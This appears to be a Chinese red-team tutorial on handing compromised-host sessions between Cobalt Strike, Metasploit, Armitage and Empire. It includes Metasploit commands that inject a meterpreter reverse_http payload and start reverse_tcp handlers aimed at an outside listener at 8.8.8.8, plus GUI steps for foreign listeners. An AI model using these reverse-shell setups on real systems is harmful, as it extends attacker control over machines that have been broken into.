0x01-Cobaltstrike与MSF会话互转

①Metasploit派生shell给Cobaltstrike

首先,你需要拿到一个metepreter会话,本例中session为1
Cobaltstrike的teamserver的ip为8.8.8.8,http监听器端口为4555

msf exploit(handler) >  use exploit/windows/local/payload_inject
msf exploit(payload_inject) >  set PAYLOAD windows/meterpreter/reverse_http
msf exploit(payload_inject) > set DisablePayloadHandler true
msf exploit(payload_inject) > set LHOST 8.8.8.8.
msf exploit(payload_inject) > set LPORT 4555
msf exploit(payload_inject) > set SESSION 1
msf exploit(payload_inject) > exploit

如图Cobaltstrike成功上线
e8Qn4H.png

②Cobalt strike 派生 shell 给 MSF(前提有个beacon shell)

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 8.8.8.8
lhost => 8.8.8.8
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit

然后在cobaltstrike中创建一个windows/foreign/reverse_tcp Listener
,并根据metasploit监听配置cobaltstrike的listener
e8QVHO.png

选择要派生的beacon,右键–>增加会话,选择刚刚配置的foreign监听器
e8QEDK.png

MSF即可成功收到会话
e8QAu6.png

0x02-Cobaltstrike与Armitage会话互转

①Cobaltstrike派生shell给Armitage

首先在armitage中配置一个handler,注意:payload要与cobaltstrike的foreign监听器的协议相同,不然收不到会话。
e8Qlvt.png
同样使用刚刚讲过的cobaltstrike派生会话功能,armitage即可收到shell
e8Q3KP.png

Armitage派生shell给cobaltstrike

选择armitage中的会话,右键,Access–>Pss Session
e8QeED.png
随后配置相关信息为cobaltstrike http监听器的ip和端口
e8QmUe.png
Cobaltstrike即可收到会话

0x003-Cobaltstrike与Empire会话互转

首先如图,在empire中配置好相关的http协议监听器
e8QKCd.png
在cobaltstrike里面添加一个foreign监听器,协议为http
e8QM8A.png
随后使用cobaltstrike中讲过的“增加会话”功能,选择该http监听器,empire即可成功收到会话。